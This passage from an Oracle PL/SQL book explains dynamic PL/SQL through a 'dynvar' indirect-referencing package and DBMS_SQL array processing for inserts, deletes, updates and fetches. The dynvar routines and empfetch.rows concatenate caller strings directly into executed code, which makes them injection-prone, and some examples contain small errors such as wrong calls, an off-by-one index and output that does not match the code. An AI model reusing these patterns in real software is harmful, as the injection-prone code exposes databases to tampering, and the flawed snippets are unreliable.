I encountered the need for indirect referencing when building a PL/SQL code generator (now a product called PL/Generator from RevealNet). I wanted to provide a utility that would read a template file and then generate PL/SQL packages from that file. I found that by using indirect referencing, I could make these templates user-extensible. While this is neither the time nor place to really explore the generator technology, the following text shows a fragment of the template file. The square brackets ([ and ]) are used to "tag" template commands. The [IF] command implements "meta-conditional" logic, and that is where my indirect referencing comes into play:

[IF]myvars.checkstatus
   IF SQL%ROWCOUNT = 0
   THEN
      DBMS_OUTPUT.PUT_LINE ('No records updated!');
   END IF;
[ENDIF]

That is the code to be processed by PL/Generator. So before I do the generation, I will set the myvars.checkstatus packaged global variable to "T" with a statement like this:

SQL> exec myvars.checkstatus := 'T';

When I run my utility, I employ indirect referencing to "look up" the value of the variable with the name "myvars.checkstatus." That lookup will return TRUE and the check against ROWCOUNT thus will be included in the package that is generated. To accomplish this feat, follow these steps:

  1. Grab the variable name from within the template file.

  2. Use dynamic PL/SQL to evaluate the packaged variable. (Remember: with dynamic SQL, you can only read/modify "global" or package-based data.)

In this section, I will show you how to build a package called dynvar to perform this kind of dynamic or indirect referencing for string values. You can easily overload the programs in dynvar to support other datatypes. Here is the specification of the package:

/* Filename on companion disk: dynvar.spp */*
CREATE OR REPLACE PACKAGE dynvar
IS
   PROCEDURE assign (expr_in IN VARCHAR2, var_inout IN OUT VARCHAR2);
   FUNCTION val (var_in IN VARCHAR2) RETURN VARCHAR2;
   PROCEDURE copyto (val_in IN VARCHAR2, nm_in IN VARCHAR2)

END dynvar;
/

These three programs function as follows:

dynvar.assign

Assigns a value returned by the expression to the specified variable. This procedure is most helpful when you want to use dynamic PL/SQL to assign a value to a locally declared variable.

dynvar.val

This is similar to the Oracle Forms NAME_IN function. It retrieves the value currently held by the specified variable. In this case, var_in is a string containing the name of the variable you want to evaluate, not the variable itself.

dynvar.copyto

This is similar to the Oracle Forms COPY procedure. It "copies" the specified value, which can be an expression, to the variable. In this case, you provide the name of the variable, not a direct reference to the variable.

Here is a demonstration script using all three of these programs:

/* Filename on companion disk: dynvar.tst */*
CREATE OR REPLACE PACKAGE TSTVAR
IS
    str1 varchar2(2000);
    str2 varchar2(2000);
END;
/
DECLARE
   v_pkg CHAR(7) := 'tstvar.';
   localstr VARCHAR2(100);
BEGIN
   dynvar.assign ('abc' || 'def' , localstr); /* Note 1 below */
   DBMS_OUTPUT.PUT_LINE ('local string set to ' || localstr);

   dynvar.copyto ('abcdefghi', v_pkg || 'str1'); /* Note 2 below */
   DBMS_OUTPUT.PUT_LINE ('global string set to ' || tstvar.str1);

   DBMS_OUTPUT.PUT_LINE ('value retrieved dynamically ' ||
      dynvar.val (v_pkg || 'str1')); /* Note 3 below */

   tstvar.str2 := 'tstvar.str1';

   DBMS_OUTPUT.PUT_LINE ('double indirection gets us ' ||
      dynvar.val (dynvar.val (v_pkg || 'str2'))); /* Note 4 below */

   DBMS_OUTPUT.PUT_LINE ('expression retrieved dynamically ' ||
      dynvar.val (v_pkg || 'str1' || '|| '' wow!''')); /* Note 5 below */
END;
/

This is the output from the program:

SQL> @dynvar.tst

Package created.

local string set to abcdef
global string set to abcdefghi
value retrieved dynamically abcdefghi
double indirection gets us abcdefghi
expression retrieved dynamically abcdefghi wow!

Here are some notes on program behavior:

  1. The call to dynvar.assign assigned the concatenated string to the local variable, which is not possible with "normal" dynamic PL/SQL, since the data structures referenced in your dynamic PL/SQL block must be global.

  2. The call to dynvar.copyto copied the string "abcdefghi" to the PL/SQL variable tstvar.str1 indirectly, since the name of the variable was constructed at runtime.

  3. In the first call to dynvar.val, I construct the name of the variable and pass that to dynvar for processing. It returns "abcdefghi."

  4. I then use two levels of indirection to get the value of the tstvar.str1 variable. In this case, I assign to tstvar.str2 the name of its sister variable in the package, tstvar.str1. I then call dynvar.val twice, first to evaluate tstvar.str2 and retrieve the value "tstvar.str1." Then I call dynvar.val to evaluate tstvar.str1 and return the first nine letters of the alphabet.

  5. In this last call to dynvar.val, I do not pass a variable name. Instead, I pass an expression, a concatenation of the variable with the string "wow." This function doesn't mind in the least. As long as the string you pass is a valid string expression, it will be evaluated and returned.

The following sections show the implementations of the dynvar programs (all found in the dynvar.spp file), along with an explanation. A few comments for clarification: in each of these I make use of two variables, cur and fdbk. These are defined at the package level. In addition, to improve performance, I open the cursor when the package is initialized and therefore do not need to open and close it in each program.

2.5.5.1 Assigning a value

The dynvar.assign procedure performs a dynamic assignment of a string expression to a string variable. That variable can be either locally or globally (in a package) defined.

PROCEDURE assign (expr_in IN VARCHAR2, var_inout IN OUT VARCHAR2) IS
BEGIN
   DBMS_SQL.PARSE (cur,
      'BEGIN :var := ''' || expr_in || '''; END;', DBMS_SQL.NATIVE);
   DBMS_SQL.BIND_VARIABLE (cur, 'var', 'a', 2000);
   fdbk := DBMS_SQL.EXECUTE (cur);
   DBMS_SQL.VARIABLE_VALUE (cur, 'var', var_inout);
END;

Here are the basic steps performed in this procedure:

  • Parse the assignment statement constructed with a bind variable and the expression. (Remember that the cursor was previously opened and remains open for the duration of your session.)

  • Bind the variable (even though it is an OUT value) that will receive the value of the expression. The value I bind into it is irrelevant, but dynamic PL/SQL requires that you call the BIND_VARIABLE procedure for each placeholder in your string.

  • Execute the PL/SQL block.

  • Extract the value assigned to the placeholder variable and pass it to the variable you provided in the call to the procedure.

There are several interesting aspects to dynvar.assign:

  • In the parse, I construct my assignment string, making sure to enclose the expression within single quotes. I do this because expr_in will be evaluated to a string when it is passed into the procedure. If I do not enclose it in quotes, the PL/SQL compiler will try to interpret the string as code rather than as a literal.

  • The second argument to dynvar.assign must be declared as IN OUT because, when I perform the call to the VARIABLE_VALUE procedure, I deposit a new value directly into the variable provided in the call to the procedure.

  • When you call dynvar.assign, you pass the actual variable in the second argument, not a string (whether literal or a variable) containing the name of the variable. If you want to assign a value to a variable, but reference the variable by its name, use the dynvar.copyto procedure.

2.5.5.2 Retrieving a value

The dynvar.val function extracts the value contained in the variable you have named in the argument to this program.

FUNCTION val (var_in IN VARCHAR2) RETURN VARCHAR2 IS
   retval VARCHAR2(2000);
BEGIN
   DBMS_SQL.PARSE
      (cur, 'BEGIN :val := ' || var_in || '; END;', DBMS_SQL.NATIVE);
   DBMS_SQL.BIND_VARIABLE (cur, 'val', 'a', 2000);
   fdbk := DBMS_SQL.EXECUTE (cur);
   DBMS_SQL.VARIABLE_VALUE (cur, 'val', retval);
   RETURN retval;
END;

Here are the steps performed by dynvar.val:

  • Parse the assignment string. Notice that in this case I do not surround the var_in value with single quotes. It's not a string expression in this case, but is instead the name of the variable. If you try to use dynvar.val to extract the value of a local, nonpackaged variable, you will receive a compile error.

  • Bind the placeholder variable. As with assign, the value I bind is irrelevant, since it actually is an OUT placeholder, about to receive the value from the variable name that is passed in.

  • Execute the dynamic PL/SQL block, extract the value into a local variable (whereas in dynvar.assign, it was extracted directly into the variable you provide), and then return the value.

2.5.5.3 Copying a value to a packaged variable

The dynvar.copyto procedure copies the value to the variable named in the second argument. This corresponds to Oracle Forms' COPY and allows you to indirectly reference the variable you want to modify.

PROCEDURE copyto (val_in IN VARCHAR2, nm_in IN VARCHAR2) IS
BEGIN
   DBMS_SQL.PARSE
      (cur,
       'BEGIN ' || nm_in || ' := ''' || val_in || '''; END;',
       DBMS_SQL.NATIVE);
   fdbk := DBMS_SQL.EXECUTE (cur);
END;

This procedure constructs and parses the string and then executes; there's not much to it. There is no need to call VARIABLE_VALUE because I do not need to extract any values. I am modifying the named variable right in the execution of the PL/SQL block.

I also do not call BIND_VARIABLE, because I have not used any placeholders. Instead, I concatentate directly (into the PL/SQL block) the value I want to assign to the named variable. Why do I do this? Let's examine the consequences of using a placeholder.

Suppose my dynamic PL/SQL block were constructed as follows:

'BEGIN ' || nm_in || ' := :val; END;',

When I bind in my value with a call to DBMS_SQL.BIND_VARIABLE, it is not treated as a literal. For example, if I call dynvar.copyto with the following arguments,

dynvar.copyto ('steven''s hairline', 'rapid.retreat');

then the PL/SQL block I would execute is,

BEGIN rapid.retreat := steven's hairline; END;

which would definitely run into compile problems. When I first encountered this problem, I figured that I would embed the :val placeholder inside single quotes to make sure that the value I pass in was treated as literal. My parse statement then looked like this:

DBMS_SQL.PARSE
   (cur, 'BEGIN ' || nm_in || ' := '':val''; END;', DBMS_SQL.NATIVE);

But this would not work; DBMS_SQL did not recognize :val as a placeholder, any longer since it was inside single quotes. Sigh. The only solution was to remove :val, and, instead of using placeholders, simply concatenate the value directly into the string inside single quotes.

The dynvar package should get you comfortable with executing dynamic PL/SQL code and also with the concept of indirect referencing. I suggest that you try extending dynvar to support other datatypes (numbers and dates, in particular). See what challenges you encounter. You will definitely need to make some changes to incorporate these different datatypes into your dynamically constructed blocks.

2.5.6 Array Processing with DBMS_SQL

One of the most significant advances for DBMS_SQL in Oracle8 is the support for "array processing" through use of the BIND_ARRAY and DEFINE_ARRAY procedures. Using these procedures, you can greatly speed up dynamic SQL processing that involves multiple rows of data. This section offers some general suggestions and then provides detailed examples of using array processing in DBMS_SQL to perform fetches, queries, and dynamic PL /SQL.

In order to take advantage of array processing, you will need to be comfortable with the use of index-by tables (called PL /SQL tables in Oracle7). These structures are like single-dimension arrays and are described in detail in Chapter 10 of Oracle PL /SQL Programming. With this feature under your belt, you are ready to implement array processing with DBMS_SQL. As you do so, keep in mind the following tips:

  • When you declare index-by tables to be used in DBMS_SQL processing, you must declare them based on one of the DBMS_SQL table TYPES:

        DBMS_SQL.NUMBER_TABLE
    DBMS_SQL.VARCHAR2_TABLE
    DBMS_SQL.DATE_TABLE
    DBMS_SQL.BLOB_TABLE
    DBMS_SQL.CLOB_TABLE
    DBMS_SQL.BFILE_TABLE

    Here is an example of declaring a table used to receive multiple pointers to BFILEs from a dynamically constructed query:

        DECLARE
       bfiles_list DBMS_SQL.BFILE_TABLE;

    One very significant downside to the approach taken by Oracle to support array processing with DBMS_SQL is that you cannot use index-by tables of records. Instead, you will need to declare individual tables for each of the columns you wish to query or placeholders you wish to put in your SQL statements.

  • If you are going to fetch more than one row with a single call to FETCH_ROWS, you must define the columns in that cursor as "array columns." To do this, you must provide an index-by table in the call to DEFINE_ARRAY. The following example shows the steps required to fetch a whole bunch of salaries (up to 100 at a time) from the emp table:

        DECLARE
       cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
       sal_table DBMS_SQL.NUMBER_TABLE;
    BEGIN
       DBMS_SQL.PARSE (cur, 'SELECT sal FROM emp', DBMS_SQL.NATIVE);
       DBMS_SQL.DEFINE_COLUMN (cur, 1, sal_table, 100, 10);

  • When you call DEFINE_ARRAY, you also can specify the starting row in which data is to be placed when you call DBMS_SQL.COLUMN_VALUE (in the previous example, I specified that the starting row to be 10). This is a little bit odd and worth emphasizing. That fifth argument does not have anything to do with the index-by table you pass as the third argument to DEFINE_ARRAY. It applies to the index-by table that is passed to the call to COLUMN_VALUE (which might or might not actually be the same index-by table). If you don't provide a value for this starting row, values are assigned to the receiving index-by table from row 1. In all cases, the rows are filled sequentially. Why would you not use the default value of 1 for starting row? You might want to preserve the values already stored in the index-by table, and simply add the new rows of data to the table.

  • If you want to bind multiple values into a SQL statement, you must call BIND_ARRAY instead of the scalar BIND_VARIABLE procedure. You will do this when you want to modify more than one row in the table with a single DML statement.

  • If you are using more than one array or index-by table in a single SQL statement, remember that DBMS_SQL applies a "lowest common denominator" rule. It determines the highest starting row number and the lowest ending row number across all arrays and then uses only those rows between those endpoints in all of the arrays.

The following section shows in more detail how to use array processing in DBMS_SQL to fetch multiple rows with a single call to DBMS_SQL.FETCH_ROWS, update multiple rows of data with multiple bind variables, and manipulate index-by table contents with dynamic PL/SQL.

2.5.6.1 Using array processing to insert

There are three different ways to change the contents of a table: INSERT, DELETE, and UPDATE. This section shows examples of the first of these DML statements, INSERT, utilizing the array features of DBMS_SQL. The next two sections show examples of DELETE and UPDATE.

The following procedure inserts the contents of a index-by table into a database table using single-row INSERTs (the Version 7 behavior). Notice that I parse once, but bind and execute for each individual row in the index-by table. I do not need to reparse, since I am not changing the SQL statement, only the value I am binding into that SQL statement.

Notice also that I first create a package to define two index-by table types. Why do I do this? I am passing in index-by tables as arguments to my insert procedure. The parameter list of the procedure must therefore reference existing index-by table types in order to compile. I could also have put the table type declarations and the procedure into a single package.

/* Filename on companion disk: dynins.sp */*
CREATE OR REPLACE PACKAGE mytables
IS
   TYPE number_table IS TABLE OF NUMBER INDEX BY BINARY_INTEGER;
   TYPE varchar2_table IS TABLE OF VARCHAR2(2000) INDEX BY BINARY_INTEGER;
END;
/
CREATE OR REPLACE PROCEDURE instab7
   (empnotab IN mytables.number_table,
    enametab IN mytables.varchar2_table)
IS
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
   totfdbk PLS_INTEGER := 0;
BEGIN
   DBMS_SQL.PARSE (cur,
      'INSERT INTO emp2 (empno, ename) VALUES (:empno, :ename)',
      DBMS_SQL.NATIVE);

   FOR emprow IN empnotab.FIRST .. empnotab.LAST
   LOOP
      DBMS_SQL.BIND_VARIABLE (cur, 'empno', empnotab(emprow));
      DBMS_SQL.BIND_VARIABLE (cur, 'ename', enametab(emprow));
      fdbk := DBMS_SQL.EXECUTE (cur);
      totfdbk := totfdbk + fdbk;
   END LOOP;

   DBMS_OUTPUT.PUT_LINE ('Rows inserted: ' || TO_CHAR (totfdbk));

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

How would this implementation change with Oracle8? You no longer have to perform separate INSERTs for each of the rows in the index-by table. Instead, you can bind an index-by table directly into the SQL statement. The following version of the instab procedure relies on this new feature. Notice that the FOR LOOP is gone. Instead, I call BIND_ARRAY once for each column in the INSERT statement, passing in the appropriate index-by table. Notice that I must now use the DBMS_SQL table types, whereas in the previous example I created my own index-by table types and used those in the parameter list.

/* Filename on companion disk: dynins.sp */*
CREATE OR REPLACE PROCEDURE instab8
   (empnotab IN DBMS_SQL.NUMBER_TABLE,
    enametab IN DBMS_SQL.VARCHAR2_TABLE)
IS
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
BEGIN
   DBMS_SQL.PARSE (cur,
      'INSERT INTO emp2 (empno, ename) VALUES (:empno, :ename)',
      DBMS_SQL.NATIVE);

   DBMS_SQL.BIND_ARRAY (cur, 'empno', empnotab);
   DBMS_SQL.BIND_ARRAY (cur, 'ename', enametab);

   fdbk := DBMS_SQL.EXECUTE (cur);

   DBMS_OUTPUT.PUT_LINE ('Rows inserted: ' || TO_CHAR (fdbk));

   DBMS_SQL.CLOSE_CURSOR (cur);
END;

So in this case I end up with less code to write. In other situations, you may have to copy your data from your own index-by tables, perhaps a table or record that is not supported by DBMS_SQL, into the appropriate DBMS_SQL-declared index-by tables before you can call BIND_ARRAY. But putting aside code volume, what about the impact on performance? To compare these two approaches, I wrote the following SQL*Plus script:

/* Filename on companion disk: dynins.tst */*
DECLARE
   timing PLS_INTEGER;

   empnos7 mytables.number_table;
   enames7 mytables.varchar2_table;

   empnos8 DBMS_SQL.NUMBER_TABLE;
   enames8 DBMS_SQL.VARCHAR2_TABLE;
BEGIN
   /* Load up the index-by tables. */
   FOR i IN 1 .. &1
   LOOP
      empnos&2(i) := 10000 + i;
      enames&2(i) := 'Eli ' || TO_CHAR (i);
   END LOOP;

   timing := DBMS_UTILITY.GET_TIME;
   instab&2 (empnos&2, enames&2);
   DBMS_OUTPUT.PUT_LINE
      ('V&2 style = ' || TO_CHAR (DBMS_UTILITY.GET_TIME - timing));
END;
/

Though SQL*Plus is a fairly crude tool, those substitution parameters let you write some clever, concise utilities. In this case, I populate my index-by tables with &1 number of rows -- but the index-by table I fill up depends on the &2 or second argument: the Oracle7 or Oracle8 versions. Once the tables have their data, I pass them to the appropriate version of "instab," and, using DBMS_UTILITY.GET_TIME, display the number of hundredths of seconds that elapsed.

I ran this script a number of times to even out the bumps of initial load and parse and so on. The following numbers are representative:

SQL>  @dynins.tst 1000 7
Rows inserted: 1000
V7 style = 90
SQL>  @dynins.tst 1000 8
Rows inserted: 1000
V8 style = 2

As you can see, dynamic SQL using arrays or index-by tables will perform significantly better than the single-row processing available in Oracle7.

So that's how you do INSERTs: for each column for which you are inserting a value, you must bind in an array or index-by table. You can also mix together scalars and arrays. If, for example, I wanted to insert a set of new employees and make the hiredate the value returned by SYSDATE, the bind steps in my instab8 procedure would be modified as follows:

DBMS_SQL.BIND_ARRAY (cur, 'empno', empnotab);
DBMS_SQL.BIND_ARRAY (cur, 'ename', enametab);
DBMS_SQL.BIND_VARIABLE (cur, 'hiredate', SYSDATE);

In other words: two array binds and one scalar bind. The same value returned by SYSDATE is then applied to all rows inserted.

2.5.6.2 Using array processing to delete

The process for deleting multiple rows with a single call to the EXECUTE function is similar to that for INSERTSs: one call to BIND_ARRAY for each placeholder in the SQL statement. With DELETEs, however, the placeholders are in the WHERE clause, and each row in the index-by table is used to identify one or more rows in the database table.

The following procedure removes all rows as specified in the array of names. Notice the use of LIKE and UPPER operators to increase the flexibility of the table entries (if that is what you want!).

/* Filename on companion disk: dyndel.sp */*
CREATE OR REPLACE PROCEDURE delemps
   (enametab IN DBMS_SQL.VARCHAR2_TABLE)
IS
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
BEGIN
   DBMS_SQL.PARSE (cur,
      'DELETE FROM emp WHERE ename LIKE UPPER (:ename)',
      DBMS_SQL.NATIVE);

   DBMS_SQL.BIND_ARRAY (cur, 'ename', enametab);

   fdbk := DBMS_SQL.EXECUTE (cur);

   DBMS_OUTPUT.PUT_LINE ('Rows deleted: ' || TO_CHAR (fdbk));

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

The standard emp table contains the following 14 names:

ADAMS     JAMES     SCOTT
ALLEN     JONES     SMITH
BLAKE     KING      TURNER
CLARK     MARTIN    WARD
FORD      MILLER

Now let's run the following script:

/* Filename on companion disk: dyndel.tst */*
DECLARE
   empnos8 DBMS_SQL.NUMBER_TABLE;
   enames8 DBMS_SQL.VARCHAR2_TABLE;
BEGIN
   /* Load up the index-by table. */
   enames8(1) := '%S%';
   enames8(2) := '%I%';

   delemps (enames8);
END;
/

SQL> @dyndel.tst
Rows deleted: 8

And we are then left with the following employees:

ALLEN       FORD
BLAKE       TURNER
CLARK       WARD

In many situations, you will have the primary key sitting in the row of the index-by table, and the array-based DELETE will simply delete one row of the database table for each row in the array. As you can see from the previous example, however, that is not the only way to use arrays to delete multiple rows.

NOTE: As you try out these various examples, don't forget to perform ROLLBACKs to restore the data to the original state before continuing or exiting!

2.5.6.3 Using array processing to update

Finally, we have UPDATE statements, where you can have placeholders both in the SET clause and in the WHERE clause. Be careful about how you utilize arrays in updates; the behavior will not always be as you might expect. Here are some different scenarios or combinations and the behaviors I have encountered:

Conditions:

Array placeholder in SET, no placeholders in the WHERE clause.

Behavior:

The value in the last row of the array will be applied to all rows identified by the WHERE clause (or lack of one). All other rows in the array are ignored.

Conditions:

Array placeholder in WHERE clause, no placeholders in SET.

Behavior:

As expected, all rows identified in the WHERE clause have their column values set as determined in the SET statement (all scalar binds or no binds at all).

Conditions:

There are N rows in a SET clause array and M rows in a WHERE clause array, and N is different from M.

Behavior:

The rule of thumb is that smallest number of rows across all arrays are used. So if the SET array has ten rows and the WHERE array has six rows, then only the first six rows of the SET array are used (assuming that both arrays are filled sequentially from same row number).

Conditions:

You use an array in the SET clause. In addition, the WHERE clause uses one or more arrays and is also structured so that each row in the array could identify more than one row of data in the database table (as would be the case with use of a LIKE statement and wildcarded values).

Behavior:

In this situation, for all database records identified by row N in the WHERE array, the values will be set from row N in the SET array.

Generally, you should think of the arrays in the SET clause as being "correlated" to the arrays in the WHERE clause. This correlation is demonstrated in the following procedure. I use dynamic SQL to update the salaries of employees whose names match the strings provided in the enames table.

/* Filename on companion disk: dynupd.sp */*
CREATE OR REPLACE PROCEDURE updemps
   (enametab IN DBMS_SQL.VARCHAR2_TABLE,
    saltab IN DBMS_SQL.NUMBER_TABLE)
IS
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
BEGIN
   DBMS_SQL.PARSE (cur,
      'UPDATE emp SET sal = :sal WHERE ename LIKE UPPER (:ename)',
      DBMS_SQL.NATIVE);

   DBMS_SQL.BIND_ARRAY (cur, 'sal', saltab);
   DBMS_SQL.BIND_ARRAY (cur, 'ename', enametab);

   fdbk := DBMS_SQL.EXECUTE (cur);

   DBMS_OUTPUT.PUT_LINE ('Rows updated: ' || TO_CHAR (fdbk));

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

I then use the following script to test the procedure. Notice that there are four salaries and only two employee names, each of which is actually a wildcarded pattern.

/* Filename on companion disk: dynupd.tst */*
DECLARE
   timing PLS_INTEGER;
   sals DBMS_SQL.NUMBER_TABLE;
   enames DBMS_SQL.VARCHAR2_TABLE;
BEGIN
   /* Load up the index-by tables. */
   sals(1) := 1111;
   sals(2) := 2222;
   sals(3) := 3333;
   sals(4) := 4444;

   enames(1) := '%I%'; /* any name containing an I */
   enames(2) := '%S';  /* any name containing an S */

   updemps (enames, sals);
END;
/

When I run this script, I update nine rows as shown in the following output:

SQL> @dynupd.tst
Rows updated: 9

ENAME SAL
---------- ----------
SMITH2222
ALLEN1600
WARD1250
JONES2222
MARTIN1111
BLAKE2850
CLARK2450
SCOTT2222
KING1111
TURNER1500
ADAMS2222
JAMES2222
FORD3000
MILLER1111

What has happened here? All the employees with an I in their name have a salary of 1111, and all the employees with S in their name have a salary of 2222. If you have both an I and S, as with SMITH, notice that you get the S salary of 2222 and not the I salary of 1111. The salaries of 3333 and 4444 are completely ignored by the procedure, since there are only two rows in the enames table.

For a final example of array processing for updates, the following program reads data from a file and performs a batch update of employee salaries, correlating the key value (first column in the file's line) with the new column value (second column in the file's line).

/* Filename on companion disk: fileupd.sp */*
CREATE OR REPLACE PROCEDURE upd_from_file
   (loc IN VARCHAR2, file IN VARCHAR2)
IS
   /* DBMS_SQL related elements */
   cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;
   fdbk PLS_INTEGER;
   empnos DBMS_SQL.NUMBER_TABLE;
   sals DBMS_SQL.NUMBER_TABLE;

   /UTL_FILE related elements */
   fid UTL_FILE.FILE_TYPE;
   v_line VARCHAR2(2000);
   v_space PLS_INTEGER;

BEGIN
   /* Load the index-by tables from the file. */

   fid := UTL_FILE.FOPEN (loc, file, 'R');

   BEGIN
      LOOP
         UTL_FILE.GET_LINE (fid, v_line);
         v_space := INSTR (v_line, ' ', 1, 1);
         empnos (NVL (empnos.LAST, 0) + 1) :=
            TO_NUMBER (SUBSTR (v_line, 1, v_space-1));
         sals (NVL (empnos.LAST, 0) + 1) :=
            TO_NUMBER (SUBSTR (v_line, v_space+1));
      END LOOP;
   EXCEPTION
      WHEN NO_DATA_FOUND
      THEN
         UTL_FILE.FCLOSE (fid);
   END;

   /* Perform the multiple row updates. */

   DBMS_SQL.PARSE (cur,
      'UPDATE emp SET sal = :sal WHERE empno = :empno',
      DBMS_SQL.NATIVE);

   DBMS_SQL.BIND_ARRAY (cur, 'empno', empnos);
   DBMS_SQL.BIND_ARRAY (cur, 'sal', sals);

   fdbk := DBMS_SQL.EXECUTE (cur);

   DBMS_SQL.CLOSE_CURSOR (cur);
END;
/

You can run this procedure against the fileupd.dat data file by executing the fileupd.tst script to confirm the results. In this case, each row in the empnos index-by table identifies a specific record in the database; the corresponding row in the sals index-by table is then used in the update of the sal column value. Notice that I need to put the loop that reads the file inside its own block, because the only way to know that I have read the whole file is to call UTL_FILE.GET_LINE until it raises a NO_DATA_FOUND exception (which means "EOF" or end of file).

As a final treat, check out the package in the arrayupd.spp file (and the corresponding arrayupd.tst test script). It offers a completely dynamic interface allowing array-based updates of any number, date, or string column in any table based on a single integer primary key. For example, using the arrayupd.col procedure, all of the dynamic SQL code in the upd_from_file procedure could be replaced with the following:

BEGIN
   ... Load arrays from file as before ...

   /* Then call arrayupd to perform the array-based update. */
   arrayupd.cols ('emp', 'empno', 'sal', empnos, sals);
END;

And the really wonderful thing about this overloaded procedure is that while it certainly is not as fast as static UPDATE statements, it competes very nicely and is efficient enough for many applications.

2.5.6.4 Using array processing to fetch

For all the value of array processing to update a database table, you are most likely to use BIND_ARRAY and DEFINE_ARRAY to fetch rows from the database and then process them in a front-end application. If the claims of Oracle Corporation about improved performance of dynamic SQL are true (see Chapter 10 of Oracle PL/SQL Programming), then this array-processing feature of DBMS_SQL could offer a crucial solution to the problem of passing multiple rows of data between the server and the client application through a PL/SQL application.

Let's examine how to perform fetches with arrays in DBMS_SQL -- and analyze the performance impact -- by building a package called empfetch to retrieve employee numbers and names. In the process, I will construct a "wrapper" around this fantastic new technology so that it can be made available in client environments where index-by tables and other Oracle8 features are not available directly.

First, the basics of querying into arrays: you must use the DEFINE_ARRAY procedure to define a specific column in the cursor as an array column. When you do this, you also specify the number of rows which are to be fetched in a single call to FETCH_ROWS (or EXECUTE_AND_FETCH). Here, for example, is the code required to set up a cursor to retrieve 100 rows from the orders table:

DECLARE
   ordernos DBMS_SQL.NUMBER_TABLE;
   orderdates DBMS_SQL.DATE_TABLE;
    cur PLS_INTEGER := DBMS_SQL.OPEN_CURSOR
BEGIN
   DBMS_SQL.PARSE
      (cur, 'SELECT orderno, order_date FROM orders', DBMS_SQL.NATIVE);

   DBMS_SQL.DEFINE_ARRAY (cur, 1, ordernos, 100, 1);
   DBMS_SQL.DEFINE_ARRAY (cur, 1, orderdates, 100, 1);

You then use COLUMN_VALUE to retrieve column values, just as you would with scalar, non-array processing. You simply provide an array to accept the multiple values, and in they come.

Moving on to our example, here is the specification for the package to query employee data using dynamic SQL and array processing:

/* Filename on companion disk: empfetch.spp */*
CREATE OR REPLACE PACKAGE empfetch
IS
   PROCEDURE rows (numrows_in IN INTEGER,
      where_clause_in IN VARCHAR2 := NULL,
      append_rows_in IN BOOLEAN := FALSE);

   FUNCTION ename_val (row_in IN INTEGER) RETURN emp.ename%TYPE;

   FUNCTION empno_val (row_in IN INTEGER) RETURN emp.empno%TYPE;

   FUNCTION numfetched RETURN INTEGER;
END empfetch;
/

The empfetch.rows procedure fetches the specified maximum number of rows from the database, using an optional WHERE clause. You can also request "append rows," which means that the newly fetched rows are appended to employee numbers and names already in the index-by tables. The default behavior is to delete all existing rows in the arrays.

Once the rows are loaded with a call to empfetch.rows, you can retrieve the Nth employee name and employee number, as well as find out how many rows were fetched. This is a nice enhancement over normal cursor-based processing: this way, I have random, bidirectional access to my data.

Finally, notice that there is no indication in this package specification that I am using dynamic SQL or array processing or index-by tables. These programs are callable from any environment supporting the most basic versions of PL/SQL, from 1.1 in Oracle Developer/2000 Release 1 to any variant of PL/SQL Release 2.X. This is especially important for third-party tools like PowerBuilder, which do not always keep up with the latest enhancements of PL/SQL.

Before exploring the implementation of the empfetch package, let's see an example of its use, combined with an analysis of its performance. Once the package compiled, I built a script to compare using static and dynamic SQL to fetch rows from the database table. The empfetch.tst script first uses an explicit cursor to fetch all the rows from the emp table and copy the ename and empno column values to local variables. Can't get much leaner than that. I then use the empfetch package to perform the same steps.

/*  Filename on companion disk: empfetch.tst */
DECLARE
   timing PLS_INTEGER;
   v_ename emp.ename%TYPE;
   v_empno emp.empno%TYPE;
BEGIN
   /* The static approach */
   timing := DBMS_UTILITY.GET_TIME;
   FOR i IN 1 .. &1
   LOOP
      DECLARE
         CURSOR cur IS SELECT empno, ename FROM emp;
      BEGIN
         FOR rec IN cur
         LOOP
            v_ename := rec.ename;
            v_empno := rec.empno;
         END LOOP;
      END;
   END LOOP;
   DBMS_OUTPUT.PUT_LINE
      ('static = ' || TO_CHAR (DBMS_UTILITY.GET_TIME - timing));

   timing := DBMS_UTILITY.GET_TIME;
   FOR i IN 1 .. &1
   LOOP
      /* Fetch all the rows from the table, putting them in arrays
         maintained inside the package body. */
      empfetch.rows (20);

      /* For each row fetched, copy the values from the arrays to the
         local variables by calling the appropriate functions.
         Notice that there is no exposure here of the fact that
         arrays are being used. */
      FOR i IN 1 .. empfetch.numfetched
      LOOP
         v_ename := empfetch.ename_val (i);
         v_empno := empfetch.empno_val (i);
      END LOOP;
   END LOOP;
   DBMS_OUTPUT.PUT_LINE
      ('dynamic = ' || TO_CHAR (DBMS_UTILITY.GET_TIME - timing));
END;
/

And here are the astounding results from execution of this test script:

SQL>  @empfetch.tst 10
static = 114
dynamic = 119
SQL>  @empfetch.tst 100
static = 1141
dynamic = 1167

In other words, there was virtually no difference in performance between these two approaches. This closeness exceeded my expectations, and is more than one might expect simply from the array processing. My hat is off to the PL/SQL development team! They really have reduced the overhead of executing dynamic SQL and anonymous blocks.

You will find the full implementation of the empfetch body in the empfetch.spp file; later I will show the different elements of the package and offer some observations. First, the following data structures are declared at the package level:

  1. A cursor for the dynamic SQL. I open the cursor when the package is initialized and keep that cursor allocated for the duration of the session, minimizing memory requirements and maximizing performance.

         c PLS_INTEGER := DBMS_SQL.OPEN_CURSOR;

  2. Two arrays to hold the employee IDs and the names. Notice that I must use the special table types provided by DBMS_SQL.

         empno_array DBMS_SQL.NUMBER_TABLE;
     ename_array DBMS_SQL.VARCHAR2_TABLE;

  3. A global variable keeping track of the number of rows fetched. I could retrieve this value with the empno.COUNT operator, but this would be misleading if you were appending rows, and it would also entail more overhead than simply storing the value in this variable.

         g_num_fetched PLS_INTEGER := 0;

Now we will look at the programs that make use of these data structures. First, the rows procedure, which populates the arrays:

PROCEDURE rows (numrows_in IN INTEGER,
   where_clause_in IN VARCHAR2 := NULL,
   append_rows_in IN BOOLEAN := FALSE)
IS
   v_start PLS_INTEGER := 1;
BEGIN
   IF append_rows_in
   THEN
      v_start :=
         NVL (GREATEST (empno_array.LAST, ename_array.LAST), 0) + 1;
   ELSE
